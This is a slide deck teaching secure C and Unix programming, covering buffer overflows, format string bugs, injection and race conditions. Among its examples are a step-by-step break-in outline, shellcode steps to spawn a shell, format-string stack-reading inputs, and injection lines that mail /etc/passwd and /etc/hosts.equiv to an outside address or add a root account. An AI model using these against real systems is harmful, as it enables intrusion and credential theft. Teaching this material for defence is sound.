🔒 Secure Programming 🔒

Jaidev Krishna S
jaidev@symonds.net

Secure Programming

Topics Covered:

- Why **Secure Programming**?
- Common Vulnerabilities.
  - ➢What are the common bugs?
  - ➢What are **Buffer Overflow** attacks?
  - ➢What are **Format String** vulnerabilities?
- What should I do?

Why Secure Programming?

Discretion will protect you, and understanding will guard you.

- Proverbs 2:11 (NIV)

What are Secure Programs?

- Programs that have more access rights than the user who uses the program.
- Ex: mail servers, http servers, ftp servers etc which run as setuid root.
- These programs sit on a "security boundary“, i.e. they take input from a source that does not have the same access rights.
- If these contain certain types of flaws, it may be exploited to gain higher privileges.

The “Breaking In” Algorithm!

- Identify security flaws in common setuid programs such as ftpd etc.
- Identify a site running that program using a port scanner such as nmap.
- Exploit the flaw in the code and run your own code with root permissions.
- Leave behind trojans, back-doors etc. for later use and erase all traces.

Buffer Overflow & Format String Vulnerabilities

An enemy will overrun the land; he will pull down your strongholds and plunder your fortresses.

- Amos 3:11 (NIV)

Buffer Overflows

- Occurs when you write a set of values (usually a string) into a fixed length buffer and write at least one value outside that buffer's boundaries.
- Can be exploited to run any code – Smashing the Stack.
- In a 1999 survey on Bugtraq, 2/3^{rds} of the respondents felt Buffer Overflows were leading cause of system vulnerability.

Danger! Keep Away.

- Risky:
  - strcpy (), gets (), strcat (), sprintf ()
- Safe:
  - strncpy (), strncat (), snprinf ().
  - Standard C dynamic length : malloc ()
  - C++ std::string class

Stack Basics

- C function Call:
  - function (a, b, c);
- Assembly:
  - pushl $3
  - pushl $2
  - pushl $1
  - call function
- Stack Organization:
  - buf2 buf1 sfp ret a b c

    [ ][ ][ ][ ][ ][ ][ ]

    ← Top of Stack

```
void function (int a, int b, int c) {
        char buf1[5];
        char buf2[10];
}
```

Segmentation fault. Core dumped!

- Program Crashes.
- Return Address overwritten to 0x41414141

```
void function (char *str) {
        char buffer[16];
        strcpy (buffer, str);
}
void main () {
        char large_string[256];
        int i;
        for (i = 0; i < 256; i++)
                large_string[i] = 'A';
        function (large_string);
}
```

- Stack Organization:
  - buffer sfp ret *str

    [ ][ ][ ][ ]

    ← Top of Stack

The Interesting Stuff!

- Q: What would this program print?
- A: 0
- Surprised?
- Stack Organization:
  - buf2 buf1 sfp ret a b c
    [ ][ ][ ][ ][ ][ ][ ]
    ← Top of Stack

```
void function (int a, int b, int c){
        char buf1[5];
        char buf2[10];
        int *ret;
        ret = buf1 + 12;
        (*ret) += 8;
}
void main () {
        int x;
        x = 0;
        function (1, 2, 3);
        x = 1;
        printf ("%d \n", x);
}
```

The Exploit Itself!

- We've seen that the return address can be modified. Now attack!
  1. Place code to be executed in the buffer we're overflowing.
  2. Point the return address back to the buffer.
- Stack

```
 buffer                          sfp     ret   a     b    c
[SSSSSSSSSSSSSSSS][SSSS][    ][    ][    ][    ]
```

← Top of Stack

The Gory Details: Spawning A Shell

- Have null terminated "/bin/sh" somewhere in memory.
- Have address of this somewhere in memory.
- Copy execve's system call index 0xb into EAX.
- Parameters to execve:
  - EBX: address of address of the string (argv)
  - ECX: address of string (path)
  - EDX: Null
- Switch to kernel mode. (Execute the int $0x80 instruction.)
- Exit cleanly (exit (0))
  - Copy 0x1 into EAX. (system call index for exit)
  - Copy exit code 0x0 into EBX.
  - Switch to kernel mode.

Format String Vulnerabilities

- A Format String Vulnerability is present when an attacker is able to provide a format string to an ANSI C format function.
- Format String is a ASCIIZ string with text and format parameters. Ex: “%s got %d”.
- Vulnerable: printf() , sprintf(), fprintf(), etc. and relatives: syslog(), err*(), setproctitle(), etc.

Role Of The Stack

- printf ("Hi %d, your score is %d.", uid, score);

[Stack Bottom]
<score>
<uid>
A
[Stack Top]

<score>	Value of the variable score
<uid>	Value of the variable uid
A	Address of the format string

- Format String is parsed and values are popped off the stack when % is encountered.

Stack ➔ Misuse!

printf (user);

- Crash the program (invalid memory reference):

  Input user as "%s%s%s%s%s%s%s%s%s%s%s%s%s %s\n"

- View the stack:

  Input user as

  "%08x.%08x.%08x.%08x\n"

- View arbitrary memory location.
- Write arbitrary memory locations!

Usage

- Wrong:

```
int func (char *user) {
        printf (user);
}
```

- Correct:

```
int func (char *user) {
        printf (“%s”, user);
}
```

Common & Historic Vulnerabilities

A wise man attacks the city of the mighty and pulls down the stronghold in which they trust.

- Proverbs 21:22 (NIV)

What are those bugs?

- Buffer Overflows
- Format String Vulnerabilities
- Environment Variables
  - ➢To the X Server

    DISPLAY = “\`mail me@somewhere.com < /etc/hosts.equiv\`”
- Data As Instructions (meta-characters)
  - ➢To a web-browser asking for host name:

    `mail me@somewhere.com < /etc/passwd; echo here.com`

More Bugs!

- Numeric Overflows
  - Exceed expected numerical limits.
  - Max UID = $2^{16} – 1$. To a program such as NFS, give a UID input 2^{17} (0000 0000 0000 0001 0000 0000 0000 0000).
  - Kernel disregards high-order bits. Presto root access!
- Race Conditions
  - Misuse TOCTTOU (Time Of Check To Time Of Use) delays.

Yet Another Bug!

- Network Problems
  - Misuse assumptions of servers that clients check data.
  - GECOS field of /etc/passwd: to add new user using ypchfn.
    - /etc/passwd line:
      jaidev:x:501:501:Jaidev Krishna S:/home/jaidev:/bin/bash
    - Input to chfn:
      Jaidev Krishna S:/home/jaidev:/bin/bash^V^J
      fake::0:0:Gotcha!:/home/jaidev:/bin/bash
    - Result:
      jaidev:x:501:501:Jaidev Krishna S:/home/jaidev:/bin/bash
      Fake::0:0:Gotcha!:/home/jaidev:/bin/bash

Help! What do I do?

Wisdom will save you from the ways of wicked men, from men whose words are perverse...

- Proverbs 2:12 (NIV)

Why do people write insecure code?

- No curriculum that teaches security / safe programming techniques.
- C is an unsafe language.
- Programmers don’t think “multi-user”
- Programmers are human, humans are lazy.
- Programmers aren’t security people; can’t think like attackers.
- Consumers don’t care about security.
  - Tendency to favor user-friendly instead of secure.
  - Most users aren’t aware there’s a problem, assume it can’t happen to them, or think things can’t be made better.
- Fixing existing software is hard.
- Security costs time, money, effort.

Prevent vs Cure:
Cure for bad programs!

- Advanced Access Control Mechanisms.
- IDS.
- Port Scanner Loggers.
- System snapshots: Tripwire.

Prevent vs Cure: Prevent; Write safe code!

- Validate all input from untrusted sources.
- Limit max character lengths.
- Avoid filenames with white spaces, "..", magic environment variables.
- Careful with meta-characters.
- Use safer implementations. Ex: strncpy instead of strcpy.
- Library: Use libraries such as Libsafe.
- Compiler: StackGurad a modification of gcc.

Paranoia is a Virtue

- In normal programs, if a user stumbles upon a bug in a rarely used feature, they will try to avoid using the feature.
- In secure programs, certain users will intentionally search out and cause rare or unlikely situations, to gain unwarranted privileges.
- When writing secure programs, paranoia is a virtue.

Conclusion

The end of a matter is better than its beginning,
and patience is better than pride.

- Ecclesiastes 7:8 (NIV)

Conclusion

- Writing programs more carefully can *drastically* improve state of computer security.
- There is no magic in attacking programs; just common sense.
  - Learn to think dirty!
- Teach Secure Programming!

More Reading

- "**Secure-Programs-HOWTO**"
  - David A Wheeler
  - http://www.dwheeler.com/secure-programs
- "**Smashing The Stack For Fun And Profit**"
  - Aleph One
  - Phrack Magazine - Volume Seven, Issue Forty-Nine.
  - http://www.shmoo.com/phrack/Phrack49/p49-14
- "**Exploiting Format String Vulnerabilities**."
  - Scut / Team Teso.
  - http://www.team-teso.net/releases/formatstring.pdf
- "**How Attackers Break Programs, and How To Write Programs More Securely**"
  - Matt Bishop
  - Department of Computer Science
  - University of California at Davis
  - http://nob.cs.ucdavis.edu/~bishop/secprog/sans2001.pdf
- "**A Lab engineers check list for writing secure Unix code**"
  - O'Reilly & Associates
  - ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist

Thank You!